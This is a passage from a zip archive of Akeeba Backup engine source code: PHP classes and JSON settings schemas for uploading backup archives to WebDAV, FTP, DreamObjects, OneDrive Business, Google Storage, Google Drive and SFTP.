		$defaultDirectory = $config->get('engine.postproc.' . $this->settingsKey . '.directory', '');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($username) || empty($password))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your WebDav account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		$settings = [
			'baseUri'  => $url,
			'userName' => $username,
			'password' => $password,
		];

		// Last chance to modify the settings!
		$this->modifySettings($settings);

		return $settings;
	}

	protected function makeConnector()
	{
		$settings = $this->getSettings();

		$connector = new ConnectorDavclient($settings);
		$connector->addTrustedCertificates(AKEEBA_CACERT_PEM);

		return $connector;
	}

	/**
	 * Last chance to modify the settings before we create a WebDAV client.
	 *
	 * @param   array  $settings
	 *
	 * @return  void
	 */
	protected function modifySettings(array &$settings)
	{
		// No changes made in the default class. Only subclasses implement this.
	}

	/**
	 * Sends a file to WebDAV. It checks if the path to the file already exists. If not, it creates it.
	 *
	 * @param   string  $absolute_filename  The path to the local file which will be uploaded to WebDAV.
	 * @param   string  $basename           The name
	 *
	 * @return array
	 *
	 * @throws Exception
	 */
	protected function putFile($absolute_filename, $basename)
	{
		/** @var ConnectorDavclient $connector */
		$connector = $this->getConnector();

		// Normalize double slashes
		$directory = str_replace('//', '/', $this->directory);
		$basename  = str_replace('//', '/', $basename);

		// Store the absolute remote path in the class property
		// Let's remove the starting slash, otherwise it read as an absolute path
		$this->remotePath = trim(trim($directory, '/') . '/' . trim($basename, '/'), '/');
		$this->remotePath = str_replace('//', '/', $this->remotePath);

		// A directory is supplied, let's check if it really exists or not
		if ($directory)
		{
			$checkPath = '';
			$parts     = explode('/', $directory);

			foreach ($parts as $part)
			{
				if (empty($part))
				{
					continue;
				}

				$checkPath .= $part . '/';

				try
				{
					Factory::getLog()->debug("Checking if the following remote path exists: " . $checkPath);

					$connector->propFind($checkPath, ['{DAV:}resourcetype']);
				}
				catch (Exception $e)
				{
					/**
					 * If the folder doesn't exists an error 404 is returned and I can suppress it. If the error code,
					 * however, is anything different then something went wrong and I have to re-throw the exception and
					 * let it bubble up.
					 */
					if ($e->getCode() != 404)
					{
						throw new $e;
					}

					Factory::getLog()->debug(sprintf("Remote path %s does not exists, I'm going to create it", $checkPath));

					// Folder doesn't exist, let's create it. Throws exception if it fails.
					$connector->request('MKCOL', $checkPath);

					Factory::getLog()->debug(sprintf("Remote path %s created", $checkPath));
				}
			}
		}

		$this->remotePath = '/' . ltrim($this->remotePath, '/');

		$result = $connector->request('PUT', $this->remotePath, file_get_contents($absolute_filename));

		return $result;
	}
}
PK     \j    0  vendor/akeeba/engine/engine/Postproc/Ftpcurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\FtpCurl as TransferFtpCurl;

class Ftpcurl extends Ftp
{
	public function __construct()
	{
		parent::__construct();

		$this->engineKey = 'engine.postproc.ftpcurl.';
	}

	protected function makeConnector()
	{
		Factory::getLog()->debug(__CLASS__ . ':: Connecting to remote FTP');

		$options = $this->getConfig();

		return new TransferFtpCurl($options);
	}
}
PK     \4@    5  vendor/akeeba/engine/engine/Postproc/Dreamobjects.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * DreamObjects is a sub-case of the Amazon S3 engine with a custom endpoint
 *
 * @package Akeeba\Engine\Postproc
 */
class Dreamobjects extends Amazons3
{
	/**
	 * Used in log messages.
	 *
	 * @var  string
	 */
	protected $engineLogName = 'DreamObjects';

	/**
	 * The prefix to use for volatile key storage
	 *
	 * @var  string
	 */
	protected $volatileKeyPrefix = 'volatile.postproc.dreamobjects.';

	public function downloadToBrowser($remotePath)
	{
		$url = parent::downloadToBrowser($remotePath);

		// We need to inject the bucket name into the download path since DreamObjects doesn't use virtual-hosting-style access
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);

		$url = str_replace('https://objects-us-east-1.dream.io/', 'https://objects-us-east-1.dream.io/' . $bucket . '/', $url);

		return $url;
	}

	/**
	 * Get the configuration information for this post-processing engine
	 *
	 * @return  array
	 */
	protected function getEngineConfiguration(): array
	{
		$config   = Factory::getConfiguration();
		$endpoint = "objects-us-east-1.dream.io";

		Factory::getLog()->info("DreamObjects: using S3 compatible endpoint $endpoint");

		$ret = [
			'accessKey'                 => $config->get('engine.postproc.dreamobjects.accesskey', ''),
			'secretKey'                 => $config->get('engine.postproc.dreamobjects.secretkey', ''),
			'token'                     => '',
			'useSSL'                    => $config->get('engine.postproc.dreamobjects.usessl', 1),
			'dualStack'                 => 0,
			'customEndpoint'            => $endpoint,
			'signatureMethod'           => 'v2',
			'useLegacyPathAccess'       => false,
			'region'                    => '',
			'disableMultipart'          => 1,
			'bucket'                    => $config->get('engine.postproc.dreamobjects.bucket', null),
			'directory'                 => $config->get('engine.postproc.dreamobjects.directory', null),
			'rrs'                       => 0,
			'lowercase'                 => $config->get('engine.postproc.dreamobjects.lowercase', 1),
			'alternateDateHeaderFormat' => true,
			'useHTTPDateHeader'         => true,
			'preSignedBucketInURL'      => false,
		];

		if ($ret['lowercase'] && !empty($ret['bucket']))
		{
			$ret['bucket'] = strtolower($ret['bucket']);
		}

		return $ret;
	}
}
PK     \,z    :  vendor/akeeba/engine/engine/Postproc/PostProcInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Exception\DeleteNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToBrowserNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToServerNotSupported;
use Akeeba\Engine\Postproc\Exception\OAuthNotSupported;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;

interface PostProcInterface
{
	/**
	 * This function takes care of post-processing a file (typically a backup archive part file).
	 *
	 * If the process has ran to completion it returns true.
	 *
	 * If more work is required (the file has only been partially uploaded) it returns false.
	 *
	 * It the process has failed an Exception is thrown.
	 *
	 * @param   string       $localFilepath   Absolute path to the part we'll have to process
	 * @param   string|null  $remoteBaseName  Base name of the uploaded file, skip to use $absolute_filename's
	 *
	 * @return  bool  True on success, false if more work is required
	 *
	 * @throws  Exception  When an error occurred during post-processing
	 */
	public function processPart($localFilepath, $remoteBaseName = null);

	/**
	 * Deletes a remote file
	 *
	 * @param   string  $path  The absolute, remote storage path to the file we're deleting
	 *
	 * @return  void
	 *
	 * @throws  DeleteNotSupported  When this feature is not supported at all.
	 * @throws  Exception  When an engine error occurs
	 */
	public function delete($path);

	/**
	 * Downloads a remotely stored file back to the site's server. It can optionally do a range download. If range
	 * downloads are not supported we throw a RangeDownloadNotSupported exception. Any other type of Exception means
	 * that the download failed.
	 *
	 * @param   string    $remotePath  The path to the remote file
	 * @param   string    $localFile   The absolute path to the local file we're writing to
	 * @param   int|null  $fromOffset  The offset (in bytes) to start downloading from
	 * @param   int|null  $length      The amount of data (in bytes) to download
	 *
	 * @return  void
	 *
	 * @throws  DownloadToServerNotSupported  When this feature is not supported at all.
	 * @throws  RangeDownloadNotSupported  When range downloads are not supported.
	 * @throws  Exception  On failure.
	 */
	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null);

	/**
	 * Downloads a remotely stored file to the user's browser, without storing it on the site's web server first.
	 *
	 * If $this->inlineDownloadToBrowser is true the method outputs a byte stream to the browser and returns null.
	 *
	 * If $this->inlineDownloadToBrowser is false it returns a string containing a public download URL. The user's
	 * browser will be redirected to that URL.
	 *
	 * If this feature is not supported a DownloadToBrowserNotSupported exception will be thrown.
	 *
	 * Any other Exception indicates an error while trying to download to browser such as file not found, problem with
	 * the remote service etc.
	 *
	 * @param   string  $remotePath  The absolute, remote storage path to the file we want to download
	 *
	 * @return  string|null
	 *
	 * @throws  DownloadToBrowserNotSupported  When this feature is not supported at all.
	 * @throws  Exception  When an error occurs.
	 */
	public function downloadToBrowser($remotePath);

	/**
	 * A proxy which allows us to execute arbitrary methods in this engine. Used for AJAX calls, typically to update UI
	 * elements with information fetched from the remote storage service.
	 *
	 * For security reasons, only methods whitelisted in the $this->allowedCustomAPICallMethods array can be called.
	 *
	 * @param   string  $method  The method to call.
	 * @param   array   $params  Any parameters to send to the method, in array format
	 *
	 * @return  mixed  The return value of the method.
	 */
	public function customAPICall($method, $params = []);

	/**
	 * Opens an OAuth window (performs an HTTP redirection).
	 *
	 * @param   array  $params  Any parameters required to launch OAuth
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported  When not supported.
	 * @throws  Exception  When an error occurred.
	 */
	public function oauthOpen($params = []);

	/**
	 * Fetches the authentication token from the OAuth helper script, after you've run the first step of the OAuth
	 * authentication process. Must be overridden in subclasses.
	 *
	 * @param   array  $params
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported
	 */
	public function oauthCallback(array $params);

	/**
	 * Does the engine recommend doing a step break before post-processing backup archives with it?
	 *
	 * @return  bool
	 */
	public function recommendsBreakBefore();

	/**
	 * Does the engine recommend doing a step break after post-processing backup archives with it?
	 *
	 * @return  bool
	 */
	public function recommendsBreakAfter();

	/**
	 * Is it advisable to delete files successfully post-processed by this post-processing engine?
	 *
	 * Currently only the “None” method advises against deleting successfully post-processed files for the simple reason
	 * that it does absolutely nothing with the files. The only copy is still on the server.
	 *
	 * @return  bool
	 */
	public function isFileDeletionAfterProcessingAdvisable();

	/**
	 * Does this engine support deleting remotely stored files?
	 *
	 * Most engines support deletion. However, some engines such as “Send by email”, do not have a way to find files
	 * already processed and delete them. Or it may be that we are sending the file to a write-only storage service
	 * which does not support deletions.
	 *
	 * @return  bool
	 */
	public function supportsDelete();

	/**
	 * Does this engine support downloading backup archives back to the site's web server?
	 *
	 * @return  bool
	 */
	public function supportsDownloadToFile();

	/**
	 * Does this engine support downloading backup archives directly to the user's browser?
	 *
	 * @return  bool
	 */
	public function supportsDownloadToBrowser();

	/**
	 * Does this engine return a bytestream when asked to download backup archives directly to the user's browser?
	 *
	 * @return  bool
	 */
	public function doesInlineDownloadToBrowser();

	/**
	 * Returns the remote absolute path to the file which was just processed.
	 *
	 * @return  string
	 */
	public function getRemotePath();
}
PK     \,
  
  ;  vendor/akeeba/engine/engine/Postproc/googlestoragejson.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.googlestoragejson.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.googlestoragejson.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "1",
        "max": "1024",
        "shortcuts": "1|5|10|20|40|60|100",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.googlestoragejson.chunk_upload:1"
    },
    "engine.postproc.googlestoragejson.bucket": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEBUCKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION"
    },
    "engine.postproc.googlestoragejson.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION"
    },
    "engine.postproc.googlestoragejson.storageclass": {
        "default": "0",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE|COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD|COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE|COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE",
        "enumvalues": "|standard|nearline|coldline",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION"
    },
    "engine.postproc.googlestoragejson.jsoncreds": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC"
    }
}PK     \$6.NL  L  5  vendor/akeeba/engine/engine/Postproc/googledrive.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION",
        "activation_callback": "akeeba_googledrive_refreshdrives"
    },
    "engine.postproc.googledrive.oauth2_type": {
        "default": "akeeba",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA|COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM",
        "enumvalues": "akeeba|custom",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION"
    },
    "engine.postproc.googledrive.oauth2_helper": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION",
        "showon": "engine.postproc.googledrive.oauth2_type:custom"
    },
    "engine.postproc.googledrive.oauth2_refresh": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION",
        "showon": "engine.postproc.googledrive.oauth2_type:custom"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.googledrive.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "4",
        "max": "60",
        "shortcuts": "1|5|10|20|40|60|100",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE"
    },
    "engine.postproc.googledrive.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_googledrive_openoauth"
    },
    "engine.postproc.googledrive.refreshdrives": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE",
        "hook": "akeeba_googledrive_refreshdrives"
    },
    "engine.postproc.googledrive.team_drive": {
        "default": "",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL",
        "enumvalues": "",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION"
    },
    "engine.postproc.googledrive.uploadtosharedwithme": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION"
    },
    "engine.postproc.googledrive.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.googledrive.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION"
    },
    "engine.postproc.googledrive.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION"
    }
}PK     \z;D    9  vendor/akeeba/engine/engine/Postproc/Onedrivebusiness.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\OneDriveBusiness as ConnectorOneDrive;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Awf\Text\Text;
use Exception;
use Joomla\CMS\Language\Text as JText;

class Onedrivebusiness extends Onedrive
{
	/**
	 * The name of the OAuth2 callback method in the parent window (the configuration page)
	 *
	 * @var   string
	 */
	protected $callbackMethod = 'akeeba_onedrivebusiness_oauth_callback';

	/**
	 * The key in Akeeba Engine's settings registry for this post-processing method
	 *
	 * @var   string
	 */
	protected $settingsKey = 'onedrivebusiness';

	public function __construct()
	{
		parent::__construct();

		$this->allowedCustomAPICallMethods[] = 'getDrives';
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access_token  = trim($config->get('engine.postproc.' . $this->settingsKey . '.access_token', ''));
		$refresh_token = trim($config->get('engine.postproc.' . $this->settingsKey . '.refresh_token', ''));

		$this->isChunked  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload', true);
		$this->chunkSize  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = rtrim($config->get('engine.postproc.' . $this->settingsKey . '.directory', ''), '/');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($refresh_token))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your OneDrive account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		// Get Download ID
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to OneDrive” feature.');
		}

		$driveId = $config->get('engine.postproc.onedrivebusiness.drive', null);
		$driveId = $driveId ?: null;

		$connector = new ConnectorOneDrive(
			$access_token,
			$refresh_token,
			$dlid,
			$driveId,
			$config->get('engine.postproc.onedrivebusiness.oauth2_refresh')
		);

		// Restore the persisted access-token expiry so the connector can refresh proactively (before the token lapses)
		// across stepped backup runs, instead of only reacting after a request has already failed.
		$connector->setTokenExpiration((int) $config->get('engine.postproc.' . $this->settingsKey . '.token_expiration', 0));

		// Validate the tokens
		Factory::getLog()->debug(__METHOD__ . " - Validating the OneDrive tokens");
		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(__METHOD__ . " - OneDrive tokens were refreshed");
			$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.token_expiration', $pingResult['token_expiration'] ?? 0, false);

			$profile_id = Platform::getInstance()->get_active_profile();
			Platform::getInstance()->save_configuration($profile_id);
		}

		return $connector;
	}

	/**
	 * Used by the interface to display a list of drives to choose from.
	 *
	 * @param   array  $params
	 *
	 * @return  array
	 *
	 * @throws  Exception
	 */
	public function getDrives($params = [])
	{
		// Get the default item (the personal Drive)
		$baseItem = 'Drive (OneDrive Personal)';

		if (class_exists('\Joomla\CMS\Language\Text'))
		{
			$baseItem = JText::_('COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL');

			if ($baseItem === 'COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL')
			{
				$baseItem = JText::_('COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL');
			}
		}

		if (class_exists('\Awf\Text\Text'))
		{
			$baseItem = \Awf\Text\Text::_('COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL');

			if ($baseItem === 'COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL')
			{
				$baseItem = \Awf\Text\Text::_('COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL');
			}
		}

		$items = [
			'' => $baseItem,
		];

		// Try to get a list of Team Drives
		try
		{
			$this->configOverrides = $params;
			/** @var \Akeeba\Engine\Postproc\Connector\OneDriveBusiness $connector */
			$connector = $this->getConnector(true);
			$connector->ping();

			$items = array_merge($items, $connector->getDrives());
		}
		catch (Exception $e)
		{
			// No worries, the user hasn't configured Google Drive correctly just yet.
		}

		$ret = [];

		foreach ($items as $k => $v)
		{
			$ret[] = [$k, $v];
		}

		return $ret;
	}

	protected function getOAuth2HelperUrl()
	{
		$config           = Factory::getConfiguration();
		$oauth2HelperType = $config->get('engine.postproc.onedrivebusiness.oauth2_type', 'akeeba');

		switch ($oauth2HelperType)
		{
			case 'custom':
				return $config->get('engine.postproc.onedrivebusiness.oauth2_helper', '');

			default:
				return ConnectorOneDrive::helperUrl;
		}
	}

	/** @inheritDoc */
	protected function mustChunk(int $fileSize): bool
	{
		return $fileSize > 4194304;
	}

	/** @inheritDoc */
	protected function mustSingeUpload(int $fileSize): bool
	{
		return ($fileSize <= $this->chunkSize) || ($fileSize <= 4194304);
	}
}
PK     \vB
  
  .  vendor/akeeba/engine/engine/Postproc/sftp.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SFTP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.sftp.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION"
    },
    "engine.postproc.sftp.port": {
        "default": "22",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION"
    },
    "engine.postproc.sftp.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_USER_DESCRIPTION"
    },
    "engine.postproc.sftp.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.sftp.privkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION"
    },
    "engine.postproc.sftp.pubkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION"
    },
    "engine.postproc.sftp.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION"
    },
    "engine.postproc.sftp.sftp_test": {
        "default": "0",
        "type": "button",
        "hook": "postprocsftp_test_connection",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_TEST_TITLE",
